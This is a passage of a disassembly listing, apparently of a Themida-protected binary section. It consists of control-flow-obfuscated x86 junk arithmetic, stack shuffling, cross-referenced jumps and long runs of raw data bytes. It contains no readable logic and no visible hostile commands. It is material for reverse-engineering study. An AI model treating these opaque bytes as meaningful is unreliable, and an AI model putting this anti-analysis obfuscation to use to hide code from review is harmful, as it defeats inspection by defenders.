		sub	ebp, 0A1A5C26h
		jmp	loc_554E78
; ---------------------------------------------------------------------------
		dd 8105EAC1h, 82F2h, 0E9D18901h, 0FFFFF187h
; ---------------------------------------------------------------------------


loc_554FB0:				; CODE XREF: Themida_:00554945j
		mov	esi, 0DEF6510h
		add	esi, 7B4F49B6h
		and	esi, 33604F79h
		neg	esi
		add	esi, 7FD539A9h
		jmp	loc_55B42D
; ---------------------------------------------------------------------------
		dw 4D25h
		dd 0E959AB5Bh, 1F82h
; ---------------------------------------------------------------------------


loc_554FD8:				; CODE XREF: Themida_:0055DBF5j
		pop	ecx
		jmp	loc_553C89
; ---------------------------------------------------------------------------
		dw 0BAh
		dd 29000000h, 5AD387DAh, 24EEF381h, 0E4E91F57h
		db 8Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_554FF3:				; CODE XREF: Themida_:0055D370j
		add	esp, 4
		push	ebp
		push	edx
		push	eax
		mov	eax, 358A6EDCh
		mov	edx, 7F4842E1h
		xor	edx, eax
		pop	eax
		push	ebx
		mov	ebx, 13284E82h
		xchg	edi, ebx
		neg	edi
		xchg	edi, ebx
		not	ebx
		or	ebx, 2CCA1F89h
		shl	ebx, 4
		jmp	loc_554325
; ---------------------------------------------------------------------------
		dw 0AFB6h
		dd 0F680C6FEh, 8BF1005Dh, 0C4832414h, 8FC18004h, 0D1E9D186h
		dd 28FFFFDFh, 24148BD0h, 4C481h, 0EC810000h, 4,	53240489h
		dd 8852F3B3h, 5AD088DAh, 0E1E9h
		db 0
; ---------------------------------------------------------------------------


loc_55505D:				; CODE XREF: Themida_:00558391j
		mov	ebx, esp
		push	ebp
		mov	ebp, 3B6313ADh
		sub	ebp, 4FF304ACh
		sub	ebp, 0EB700EFDh
		add	ebx, ebp
		pop	ebp
		jmp	loc_55AD5C
; ---------------------------------------------------------------------------


loc_555079:				; CODE XREF: Themida_:00552EEFj
		push	eax
		mov	eax, 6FEB0231h
		push	edx
		mov	edx, 36D16644h
		dec	edx
		shr	edx, 8
		jmp	loc_554892
; ---------------------------------------------------------------------------
		dw 0EA01h
		dd 81242C8Bh, 4C4h, 24143300h, 0E9241431h, 0FFFFE7ABh
		dd 0E95A0F04h, 21AEh, 8B24048Fh, 0F662424h, 9C2404A3h
		dd 0FFD751E9h, 89D689FFh, 2D5A5EF0h, 26EE0EBh, 4DE9C209h
		dd 8B000002h, 0C4832434h, 0E9565504h, 336Eh, 5E59CD89h
		dd 2C8BE831h, 4C48124h,	81000000h, 704C04C2h, 4EC8305h
		dd 0B8240489h, 34F57E8Ah, 0E958C201h, 2A52h, 5152D800h
		dd 0CA8867B1h, 3DC28059h, 148BD028h, 4C48324h, 8950CD04h
		dd 405E0h, 0EC810000h, 4, 68243489h, 503F7AD3h,	75ECE95Eh
		dd 0C4830000h, 0D6D0E904h, 525BFFFFh, 5CE925B6h, 59000033h
		dd 21C50558h, 0D00126D3h, 0D321C52Dh, 2434FF26h, 4C4835Ah
		dd 345BBE56h, 21E96155h, 0ADFFFFE7h, 468168h, 24148900h
		dd 7B36E9h, 0E9D02800h,	0FFFFFF28h, 48BC700h, 4C48124h
		dd 30000000h, 241C8BFDh, 4C483h, 0DDE959E8h, 33FFFFE4h
		dd 36E9241Ch, 89FFFFE5h, 0C3E92434h, 0D1000095h, 0E9DBF7EBh
		dd 4C09h, 4C381h, 0C3810000h, 4, 31241C33h, 0D0E9241Ch
		dd 59FFFFFFh, 0C381C329h, 34920E7Fh, 4B33BA52h,	0D3017110h
		dd 0E930FF5Ah, 0FFFFD62Eh, 0EB81EB29h, 751C1B8Ch, 45B9515Dh
		dd 0C1298432h, 0E9D107E1h, 9F3FF181h, 63E9559Eh, 50000017h
		dd 42474FFh, 24048F58h,	0D600E95Ch, 2C8BFFFFh, 0AD685224h
		dd 89000049h, 4812424h,	424h, 0E2685A00h, 0E9000067h, 0FFFFE429h
		dd 536650B2h, 0DA28AAB3h, 0F2805B66h, 0AAE28002h, 0D4B75366h
		dd 8B66FA00h, 0C483241Ch, 8BD30002h, 0E9532414h, 8BBDh
; ---------------------------------------------------------------------------


loc_555254:				; CODE XREF: Themida_:0055C6F3j
		mov	[esp], ebx
		push	ecx
		mov	ch, dl
		mov	bh, ch
		pop	ecx
		jmp	loc_556651
; ---------------------------------------------------------------------------
		dw 2D58h
		dd 23672E7h, 5558C301h,	12B06856h, 0BD5E7306h, 8CF9ED52h
		dd 34FFF501h, 272BE924h, 23BD0000h, 0E924AF49h,	2387h
		dd 10C2E9ADh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_555292:				; CODE XREF: Themida_:0055DB7Aj
		add	bl, dl
		sub	bl, 14h
		jmp	loc_558434
; ---------------------------------------------------------------------------
		dd 5C1BC381h, 0F38101B4h, 72513D30h, 228AE9h, 0E9CB0100h
		dd 8E08h, 2434FF54h, 0DECEE95Ah, 0CB31FFFFh, 57240C8Bh
		dd 0C781E789h, 4, 4C781h, 3C870000h, 0EA815C24h, 29B15696h
		dd 54E3E9h, 8DE95100h, 5600001Bh, 573768h, 240C8900h, 1C4985B9h
		dd 0DCE9813Ah, 0F7461233h, 0D1F741D1h, 0C410E981h, 1FE97599h
		db 7Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55530B:				; CODE XREF: Themida_:0055432Dj
		pop	ebx
		jmp	loc_559725
; ---------------------------------------------------------------------------


loc_555311:				; CODE XREF: Themida_:005545E5j
		push	edi
		mov	edi, 30560063h
		jmp	loc_556B56
; ---------------------------------------------------------------------------
		dd 0EA814258h, 5FF77DBBh, 66C0C381h, 0D3016A9Bh, 1454E9h
		dd 2C48300h, 0B60FC330h, 0FC6866C0h, 489665Bh, 0D4C8E924h
		dd 5E66FFFFh, 66D80166h, 6675452Dh, 45BD6655h, 0E8016640h
		dd 242C8B66h, 29BE9h, 81E58900h, 4C5h, 4C58100h, 55000000h
		dd 42474FFh, 0FA5BE95Dh, 8FE9FFFFh
		db 0D4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55537F:				; CODE XREF: Themida_:0055685Bj
		shr	esi, 6
		jmp	loc_556B17
; ---------------------------------------------------------------------------


loc_555387:				; CODE XREF: Themida_:0055A522j
		jmp	loc_55280E
; ---------------------------------------------------------------------------
		dd 4C381h, 8AE90000h, 5EFFFFF5h, 0E0EF8147h, 29B989F0h
		dd 0F8E6E9FBh, 31ADFFFFh, 685651D8h, 36CD2D5Bh,	8324348Bh
		dd 0E68104C4h, 2D8C4A37h, 84685652h, 5E65A546h,	0E7A9EE81h
		dd 7EE91213h, 100008Ch,	24048BC5h, 3B65E9h, 5EF78900h
		dd 15FFB89h, 0EEC15BDEh, 86BA5202h, 0E905B611h,	0FFFFF57Ch
		dd 4EC81h, 14890000h, 296ABA24h, 0B6E966ABh
		db 26h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_555403:				; CODE XREF: Themida_:00554D01j
		add	eax, edi
		add	eax, 3BDB34A2h
		pop	edi
		jmp	loc_5562C8
; ---------------------------------------------------------------------------
aSG		db '[éÖG',0
		align 2


loc_555416:				; CODE XREF: Themida_:00556117j
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	47DBh
		mov	[esp], edi
		jmp	loc_55AE5C
; ---------------------------------------------------------------------------
		db 50h
		dd 0FFEA61E9h, 2474FFFFh, 48F5904h, 3B665C24h, 0C7E99CC8h
		dd 66FFFFD3h, 6824048Bh, 2536h,	0E9243489h, 2A0h, 666D72BEh
		dd 0C1DEF751h, 4AE903EEh
		db 71h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_555467:				; CODE XREF: Themida_:00556427j
		pop	esp
		mov	[esp], eax
		add	dword ptr [esp], 19405BC9h
		mov	esi, [esp]
		jmp	loc_55BE81
; ---------------------------------------------------------------------------


loc_55547A:				; CODE XREF: Themida_:0055D3A0j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		push	eax
		jmp	loc_55A888
; ---------------------------------------------------------------------------
		dd 5068D8F6h, 8900000Fh, 8DB5240Ch, 0C5FED5F6h,	0CDFECDFEh
		dd 282AC580h, 2551E9E8h, 89570000h, 4C781E7h, 83000000h
		dd 3C8704EFh, 0C895C24h, 68E18924h, 6E21h, 53241489h, 6E316ABBh
		dd 56DCBA1Ch, 0DA311BE5h, 66F8E9h, 4BD00h, 0EF890000h
		dd 0E9242C8Bh, 5BE4h
; ---------------------------------------------------------------------------


loc_5554F0:				; CODE XREF: Themida_:00553EF7j
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		add	esp, 4
		push	5734h
		mov	[esp], ebp
		push	edi
		mov	edi, 7CD31071h
		xor	edi, 7AF213C0h
		mov	ebp, edi
		pop	edi
		push	edx
		mov	edx, 60115F0h
		shr	edx, 2
		add	edx, 4909265Ch
		and	ebp, edx
		mov	edx, [esp]
		jmp	loc_5586A2
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 0F1h
		dd 0E9E24ECEh, 0FFFFFD6Dh, 4246C81h, 5FBC79AAh,	8A10E9h
		dd 4B900h, 0CE010000h, 24348759h, 5224248Bh, 0F11B4EBAh
		dd 1272E924h, 0C5830000h, 242C8704h, 0FFF499E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_555571:				; CODE XREF: Themida_:0055DAEBj
		mov	eax, [esp]
		jmp	loc_552A1E
; ---------------------------------------------------------------------------
		db 8Bh,	14h, 24h
		dd 0C8B5451h, 4C48324h,	0EBE95550h, 1000034h, 241C8BD8h
		dd 81E18951h, 4C1h, 9010E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55559E:				; CODE XREF: Themida_:005572E0j
		shr	ecx, 0
		or	eax, eax
		jz	loc_55DBE8
		sub	esp, 4
		jmp	loc_558B51
; ---------------------------------------------------------------------------
		db 50h,	89h, 0E0h
		dd 405h, 4C08300h, 6667E9h, 0E9C80000h,	2FF3h, 54241C89h
		dd 0E9241C8Bh, 0FFFFEE1Fh, 750DC281h, 0C9E93548h, 55000077h
		dd 5C6AE9h
		db 0
; ---------------------------------------------------------------------------


loc_5555E5:				; CODE XREF: Themida_:00554593j
		shl	edx, 1
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_558844
; ---------------------------------------------------------------------------
aPiSL		db '¿[p‰`é L',0
		align 4
		dd 6602C483h, 522D9B2Dh, 6F686653h, 0E95B6663h,	0D20h
		dd 20D4CE81h, 0EE814598h, 1, 0C134EE81h, 0F329ED97h, 7F02055Eh
		dd 0D8293FE1h, 0E17F022Dh, 57555B3Fh, 81E18951h, 4C1h
		dd 4E98100h, 87000000h,	7FE9240Ch
		db 2, 2	dup(0)
; ---------------------------------------------------------------------------


loc_55564B:				; CODE XREF: Themida_:00556584j
		add	edx, 4
		jmp	loc_556701
; ---------------------------------------------------------------------------
		db 81h
		dd 427ADDC7h, 1C5E972h,	0C7810000h, 137CD1AEh, 0EFE9FD01h
		dd 8B000063h, 0C892424h, 0E9E18924h, 0E31h, 9D1C77FFh
		dd 0D3665966h, 0E99C241Ch, 0FFFFFCF2h, 4EC8158h, 89000000h
		dd 0FF54240Ch, 81592434h, 4C4h,	4C18100h, 83000000h, 0FF5104C1h
		dd 0E9042474h, 24F9h
; ---------------------------------------------------------------------------


loc_5556B0:				; CODE XREF: Themida_:0055BA89j
		mov	[esp], edi
		mov	edi, 61CD632Ah
		add	edi, 6C1B477Eh
		add	edi, 0E8DECBBEh
		push	edi
		mov	edi, 237D4E9Dh
		inc	edi
		inc	edi
		jmp	loc_556636
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 0FFD135E9h, 0B60F5DFFh, 6662E9C0h, 0EB800000h, 5BD800DFh
		dd 87ECE9h, 0DFCD8100h,	0E95E563Eh, 8228h, 3CFDE954h, 74FF0000h
		dd 348B0424h, 4C48124h,	8F000000h, 815C2404h, 1E0388C7h
		dd 86AFE923h, 0C7810000h, 6898605Ch, 4814EF81h,	0F7017C92h
		dd 4814C781h, 0EF817C92h, 6898605Ch, 243C335Eh,	33243C31h
		dd 665C243Ch, 8324048Bh, 148904ECh, 4EC8124h, 68000000h
		dd 3CABh, 0E9242489h, 252Dh, 9D1C77FFh,	14D35966h, 0A3E99C24h
		dd 89FFFFD0h, 0C78159CFh, 0CD0EEE80h, 91E9F801h, 5A000017h
		dd 5B2E9h
		db 0
; ---------------------------------------------------------------------------


loc_555781:				; CODE XREF: Themida_:0055665Dj
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_5568CD
; ---------------------------------------------------------------------------
		dd 5574EF81h, 15D3190h,	2FB951CFh, 0D16B5E77h, 0E9E1D1E9h
		dd 0FFFFEC7Fh, 8324148Bh, 0A2E904ECh, 8900008Ch, 3FE92434h
		db 47h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5557BB:				; CODE XREF: Themida_:00554DF9j
		mov	esp, [esp]
		mov	[esp], ebx
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_55CF74
; ---------------------------------------------------------------------------
		dd 0FFD03DE9h, 80B7B7FFh, 0F7008CC7h, 5A8CEF80h, 5B66FD88h
		dd 4192E9h, 1AB25200h, 34FFD000h, 0D0E95A24h
		db 0E9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5557F3:				; CODE XREF: Themida_:00559ED0j
		pop	ebp
		jmp	loc_55C18B
; ---------------------------------------------------------------------------
		db 64h,	88h, 2
		dd 0FFD00DE9h, 685B54FFh, 2239h, 0E9243489h, 18CAh, 0B1EE8059h
		dd 535AF000h, 3C046CB7h, 5AE9F828h, 5B000010h, 5C243C87h
		dd 0F66E1F6h, 8953CCB6h, 28BF57E3h, 813B863Dh, 46099DC7h
		dd 3FC78146h, 17E33B9h,	0E9515FFBh, 0FFFFE54Bh,	0BE243489h
		dd 19C04DF7h, 182FBA52h, 0D6215335h, 1AE9535Ah,	83FFFFEDh
		dd 4D6804C4h, 89000023h, 0E955243Ch, 0FFFFEF0Ah, 2C59E800h
		dd 0E9535208h, 0FFFFE828h, 0C181E189h, 4, 8704C183h, 37E9240Ch
		dd 0BA000044h, 4, 67F6BE56h, 0C3811B89h, 2712732h, 0EB81F329h
		dd 2712732h, 1948E95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5558B2:				; CODE XREF: Themida_:0055DE6Aj
		mov	eax, 26AB1F19h
		jmp	loc_55AA86
; ---------------------------------------------------------------------------


loc_5558BC:				; CODE XREF: Themida_:00555F10j
		push	ecx
		mov	ecx, 258E08EAh
		dec	ecx
		inc	ecx
		dec	ecx
		jmp	loc_553B1D
; ---------------------------------------------------------------------------
		dw 895Ch
		dd 0E9522404h, 0FFFFED16h, 7286E95Bh, 0BB530000h, 329244C2h
		dd 565BD829h, 0C25C5DBEh, 0CE814E22h, 717E7B02h, 0B561C681h
		dd 0F021014Ch, 8124348Bh, 4C4h,	0C8812D00h, 0C331FCEEh
		dd 5F24E9h, 2831B300h, 0D9005BD9h, 6631C180h, 83241C8Bh
		dd 0C83002C4h, 0E9C33059h, 4760h, 81241C8Bh, 4C4h, 0F1895800h
		dd 605CE95Eh, 0C890000h, 89D18924h, 6765E9CEh, 82BE0000h
		dd 8376E554h, 0E951FFC6h, 6EBCh
; ---------------------------------------------------------------------------


loc_555954:				; CODE XREF: Themida_:0055757Dj
		pop	ebp
		sub	ecx, 76172C47h
		add	ecx, 281D124Eh
		add	ecx, edi
		jmp	loc_557247
; ---------------------------------------------------------------------------
		dd 0E789575Bh, 4C781h, 0B9510000h, 4, 5759CF01h, 42474FFh
		dd 24048F5Fh, 241C315Ch, 31241C33h, 7BE9241Ch
		db 0CEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_555993:				; CODE XREF: Themida_:0055CF15j
		pop	eax
		pop	dword ptr [esp]
		jmp	loc_55DBF1
; ---------------------------------------------------------------------------


loc_55599C:				; CODE XREF: Themida_:00557E53j
		xor	esi, eax
		pop	eax
		or	eax, esi
		pop	esi
		push	ebp
		jmp	loc_55CAD2
; ---------------------------------------------------------------------------
		dd 138668h, 241C8900h, 0CB85052h, 402E487Eh, 4A24290Dh
		dd 35484012h, 3E4A7E29h, 92E9C289h, 0C3FFFFDBh,	0FFD8ADE9h
		dd 4C281FFh, 57000000h,	7D1086BFh, 84EF815Eh, 15E7D10h
		dd 14335FFAh, 24143124h, 0E9241433h, 2585h, 51D830ACh
		dd 2675E9h, 88F88800h, 97E95801h
		db 8Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_555A07:				; CODE XREF: Themida_:0055C153j
		add	edx, edi
		pop	edi
		jmp	loc_55CA44
; ---------------------------------------------------------------------------
		db 66h
		dd 0E924048Bh, 0FFFFFA9Ah
; ---------------------------------------------------------------------------


loc_555A18:				; CODE XREF: Themida_:00556396j
		add	esp, 4
		jmp	loc_554591
; ---------------------------------------------------------------------------
		dd 546461BDh, 6E5C12Ah,	4DA6CD81h, 0F58129CAh, 21FE414Eh
		dd 62FBF581h, 0D6E9195Dh, 55000004h, 515C40BDh,	5DE8295Ch
		dd 99602A2Dh, 5C80133h,	3399602Ah, 515C4005h, 5D332D5Ch
		dd 31597F1Ah, 8F66C3h, 66CE9h, 0C3815A00h, 5B923288h, 0FFF222E9h
		dd 4064BFFFh, 0F929BC4Ch, 0E9CE895Fh, 0BA4h, 9D1C77FFh
		dd 19665866h, 0E99C2404h, 0FFFFCD7Ah, 0C44F90BDh, 8BE80125h
		dd 0E0E9242Ch, 89000077h, 4682414h, 5A000000h, 618DBB53h
		dd 0E3C12D9Dh, 0E94B4302h, 0FFFFD77Dh
; ---------------------------------------------------------------------------


loc_555ABC:				; CODE XREF: Themida_:00552ACCj
		mov	esi, 7667BC8h
		mov	eax, 307096E3h
		add	eax, esi
		pop	esi
		mov	ebx, eax
		jmp	loc_5545C7
; ---------------------------------------------------------------------------


loc_555AD0:				; CODE XREF: Themida_:00558981j
		push	ebx
		jmp	loc_552D3A
; ---------------------------------------------------------------------------


loc_555AD6:				; CODE XREF: Themida_:005581A6j
		pop	ebp
		jmp	loc_55DE5E
; ---------------------------------------------------------------------------


loc_555ADC:				; CODE XREF: Themida_:0055CA37j
		xchg	eax, [esp]
		pop	ebx
		push	eax
		mov	eax, 5F5F6012h
		xor	eax, 582E047Bh
		add	ebx, eax
		pop	eax
		sub	ebx, 91701815h
		mov	esi, ebx
		jmp	loc_55A9CC
; ---------------------------------------------------------------------------
		db 53h
		dd 683CBA52h, 0D3890DEDh, 0FFFF60E9h, 99E95DFFh, 0C0000058h
		dd 0DBF605E3h, 0E997EB80h, 3084h, 4C381h, 0B0E90000h, 0D300005Ah
		dd 0E99C243Ch, 0FFFFCCDEh, 4240481h, 5D000000h,	4C581h
		dd 23E90000h, 89FFFFFAh, 405E0h, 0C0830000h, 24043304h
		dd 33240431h, 10E92404h, 5AFFFFE2h, 4B850h, 0A2E90000h
		dd 28000014h, 57F8E9CAh, 0E2890000h, 6207E9h, 4C78100h
		dd 81000000h, 4EFh, 243C8700h, 0DB0EE95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_555B8A:				; CODE XREF: Themida_:0055C4EAj
		pop	ecx
		jmp	loc_55476F
; ---------------------------------------------------------------------------
aIrusm		db '‰àUé¬=',0
		align 4


loc_555B98:				; CODE XREF: Themida_:00558ABCj
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		add	esp, 4
		sub	ebx, 1A3C5DC9h
		jmp	loc_55BBE5
; ---------------------------------------------------------------------------
		db 89h
		dd 0EC81241Ch, 4, 24048F54h, 4B850h, 44010000h,	5B580424h
		dd 4C381h, 8E90000h, 8700003Eh,	815C243Ch, 4EBh, 6ABDE900h
		dd 0FE050000h, 2D74445Fh, 688206F6h, 0F605E801h, 2D688206h
		dd 74445FFEh, 3F34685Dh, 1C890000h, 4EC8324h, 0E9243489h
		dd 0FFFFD357h, 4BAh, 24448100h,	8E73BF04h, 24540161h, 246C8104h
		dd 8E73BF04h, 0E95B5A61h, 60E4h, 8045C04h, 28D0B151h, 8477E9C8h
		dd 8B5C0000h, 68522404h, 22Ah, 81242489h, 42404h, 34FF0000h
		dd 85E95A24h, 68FFFFD8h, 1E6E33F6h, 8588E958h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_555C62:				; CODE XREF: Themida_:0055476Aj
		push	edx
		mov	edx, esp
		push	ebx
		jmp	loc_559D91
; ---------------------------------------------------------------------------


loc_555C6B:				; CODE XREF: Themida_:00555DE2j
		pop	edi
		sub	[edi+24h], edx
		mov	edx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	ebx
		mov	ebx, 4
		add	ecx, ebx
		pop	ebx
		xchg	ecx, [esp]
		mov	esp, [esp]


loc_555C8A:				; CODE XREF: Themida_:00559AD3j
		push	ecx
		mov	ecx, ebx
		mov	eax, ecx
		jmp	loc_55D6CF
; ---------------------------------------------------------------------------
		dd 0D215EF2Dh, 24348B3Ah, 81E28952h, 4C2h, 4C28100h, 87000000h
		dd 835C2414h, 3C8904ECh, 97C36824h, 565F6022h, 0EB5DEABEh
		dd 8466E955h, 0F1F70000h, 3ACDE9h, 2E6C100h, 0DFA2F681h
		dd 0F531973Ch, 5DEB015Eh, 8704EB83h, 5DE9241Ch,	55000066h
		dd 0AC00D3BDh, 0DCED8145h, 0F76FDF0Bh, 0C1EDD1DDh, 0D4E905EDh
		dd 81FFFFD2h, 4C6h, 4EE8300h, 0E9243487h, 4145h, 4BE9DE01h
		dd 66FFFFD7h, 9BBE6656h, 0F001662Dh, 2D665E66h,	56664045h
		dd 6463BE66h, 0CAE94E66h, 53000083h, 0A400A3BBh, 0E9DBF77Eh
		dd 0FFFFF6EFh, 240C8B66h, 0E902C483h, 32BCh, 56D831ADh
		dd 34685550h, 5D33D460h, 3940F581h, 89520A61h, 5AD089EAh
		dd 83242C8Bh, 0E0C104C4h, 2063E905h, 72040000h,	8B2434FFh
		dd 0C483241Ch, 0E0895004h, 405h, 4C08300h, 5C240487h, 6602EC83h
		dd 0E9241489h, 3169h, 0F724248Bh, 4EC81E1h, 89000000h
		dd 92E92414h, 0F7000062h, 0B1C581D5h, 5641E56Fh, 0FFE77DE9h
		dd 0B45053FFh, 58E38817h, 0C008E3C0h, 50E905E3h, 53000002h
		dd 245951BBh, 228C056Bh, 0D8293E8Fh, 7BAEE9h
		db 0
; ---------------------------------------------------------------------------


loc_555DDD:				; CODE XREF: Themida_:0055DB69j
		sub	edi, ecx
		pop	ecx
		mov	edx, edi
		jmp	loc_555C6B
; ---------------------------------------------------------------------------
		db 0B6h
		dd 0E3DFE9D8h, 0E589FFFFh, 4C581h, 0C5810000h, 4, 5C242C87h
		dd 737CE9h, 78AEBE00h, 0F331183Eh, 0C1D3F75Eh, 0F38106EBh
		dd 614C4E79h, 0A48BE56h, 0CE813E57h, 356417B3h,	4AC1E9h
		dd 24048900h, 0E904EC83h, 6484h
; ---------------------------------------------------------------------------


loc_555E34:				; CODE XREF: Themida_:0055B80Bj
		and	eax, 54F63D95h
		neg	eax
		and	eax, 464667EAh
		xor	eax, 927160CFh
		xor	ecx, eax
		pop	eax
		and	eax, ecx
		pop	ecx
		shr	eax, 10h
		xor	eax, ecx
		jmp	loc_55CFA9
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 4DB85057h, 0BF230645h, 23064551h, 8958C729h,	243C8BF8h
		dd 8104C483h, 9C405FC1h, 81C10165h, 9C405FE9h, 0E9835865h
		dd 74FF5104h, 0EEE90424h
		db 7, 2	dup(0)
; ---------------------------------------------------------------------------


loc_555E8B:				; CODE XREF: Themida_:0055A242j
		mov	[edi+24h], eax
		jmp	loc_5582CC
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFC976h, 1461E953h, 0BE0000h, 81333050h, 93361AF6h
		dd 2BF68162h, 81343854h, 81773CC6h, 8ECE8160h, 0F71B0C00h
		dd 7BF068DEh, 4890000h,	5E54B824h, 69E93A63h, 89000021h
		dd 405E0h, 0C0830000h, 24043302h, 0E9240431h, 5690h, 0F35BD55h
		dd 0BB5358E7h, 2A739A1h, 815BDD01h, 4E7C58F5h, 1ED817Eh
		dd 0E9000000h, 1D41h
; ---------------------------------------------------------------------------


loc_555F04:				; CODE XREF: Themida_:00553F2Ej
		mov	[esp], ebp
		mov	ebp, 6CF10A19h
		neg	ebp
		not	ebp
		jmp	loc_5558BC
; ---------------------------------------------------------------------------
		db 4Dh,	81h, 0C5h
		dd 0AA0FEB1Ch, 815DEB29h, 0BE1106F3h, 5BDF018Ah, 3C8EE9h
		db 0
; ---------------------------------------------------------------------------


loc_555F2D:				; CODE XREF: Themida_:00552868j
		add	[esp+4], edi
		jmp	loc_55494A
; ---------------------------------------------------------------------------


loc_555F36:				; CODE XREF: Themida_:0055B8D0j
		pop	ebx
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		push	esi
		pop	eax
		jmp	loc_5584C1
; ---------------------------------------------------------------------------
		db 1
		dd 2434FFF3h, 1D74E95Eh, 0E1890000h, 4C181h, 0C1830000h
		dd 3683E902h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_555F62:				; CODE XREF: Themida_:0055A5A6j
		pop	eax
		add	esp, 4
		and	ecx, edi
		pop	edi
		jmp	loc_556C11
; ---------------------------------------------------------------------------
		db 68h,	0DEh, 61h
		dd 2D5829EAh, 1D542B82h, 53FFC083h, 914ABBBh, 3AF4E954h
		dd 0E9580000h, 7F87h, 73BF68h, 24248900h, 0EC1AE956h, 0C89FFFFh
		dd 81E18924h, 4C1h, 6BF5E900h, 0E6890000h, 4C681h, 0BB530000h
		dd 4, 875BDE01h, 0E95C2434h, 7D1Fh
; ---------------------------------------------------------------------------


loc_555FC8:				; CODE XREF: Themida_:00556989j
		add	ebp, 4
		sub	esp, 4
		mov	[esp], ebp
		push	dword ptr [esp+4]
		jmp	loc_556C87
; ---------------------------------------------------------------------------
		db 81h,	0EFh, 90h
		dd 0C159601Fh, 0DDE908EFh
		db 61h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_555FEB:				; CODE XREF: Themida_:0055BAE0j
		xor	[esp+4], esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	dword ptr [esp]
		jmp	loc_55BCEB
; ---------------------------------------------------------------------------
		db 66h,	0F7h, 1Ch
		dd 3E99C24h, 0FFFFFFC8h, 669D1C77h, 4116658h, 0F3E99C24h
		dd 50FFFFC7h, 0C0FE58B0h, 5DB3E9h, 0D831AD00h, 8904EC83h
		dd 6CBB241Ch, 5305F74Bh, 2474FF52h, 48F5A04h, 14F75224h
		dd 14875A24h, 38E95B24h
		db 63h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55604B:				; CODE XREF: Themida_:00556865j
		push	dword ptr [esp]
		pop	edx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_55D13C
; ---------------------------------------------------------------------------


loc_556066:				; CODE XREF: Themida_:00553C91j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	edx
		sub	esp, 4
		mov	[esp], edi
		push	790C50D9h
		pop	edi
		jmp	loc_55343A
; ---------------------------------------------------------------------------
		dd 81243C8Bh, 4C4h, 3462E900h, 2C890000h, 815D5424h, 4ECh
		dd 241C8900h, 0BF345CBBh, 0C5E38112h, 50748C31h, 76D2BD55h
		dd 0A2B8779Eh, 1CC7C94h, 4C255DE8h, 0E94B3127h,	0FFFFCE58h
		dd 4BE56h, 0F7010000h, 802FE9h,	0C734E900h, 3058FFFFh
		dd 5932E9F9h, 59540000h, 4C181h, 0C1810000h, 4,	0E9240C87h
		dd 148Ah, 240C8B66h, 612568h, 2009E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_556106:				; CODE XREF: Themida_:00552D3Bj
		push	2A0966C4h
		pop	edi
		shr	edi, 6
		jmp	loc_55A753
; ---------------------------------------------------------------------------


loc_556114:				; CODE XREF: Themida_:0055C5C4j
		add	ebp, 4
		jmp	loc_555416
; ---------------------------------------------------------------------------
		dd 0E9240C8Bh, 3996h, 6A0268h, 241C8900h, 0D91F18BBh, 0CEE95653h
		dd 80FFFFFCh, 0DFF601C7h, 0D0E9DFF6h, 20FFFFE0h, 363CE9EAh
		dd 0C4830000h, 2E3C104h, 3587E9h, 2434FF00h, 8324148Bh
		dd 0C48104C4h, 4, 0FFC6A5E9h, 4EC81FFh,	89000000h, 0D6BB241Ch
		dd 0E97F5346h, 3ECAh, 8DC58158h, 21A096ADh, 4889E9EAh
		dd 0EB810000h, 335A3DB0h, 67F5EB81h, 81587B6Dh,	4ECh, 240C8900h
		dd 781BE9h, 0E3805800h,	4DC38087h, 28E6F380h, 241C8BDEh
		dd 4C481h, 9FE90000h, 0F7FFFFDBh, 0C68146DEh, 0B198E219h
		dd 52F5E981h, 0F1015B88h, 52F5C181h, 0AFE95B88h
		db 0E2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5561DB:				; CODE XREF: Themida_:0055B613j
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, esp
		push	0C63h
		mov	[esp], edi
		mov	edi, 4
		add	eax, edi
		pop	edi
		jmp	loc_55B041
; ---------------------------------------------------------------------------


loc_556208:				; CODE XREF: Themida_:0055328Ej
		pop	edx
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		or	edx, eax
		shl	edx, 1
		push	dword ptr [edi+24h]
		jmp	loc_553BDC
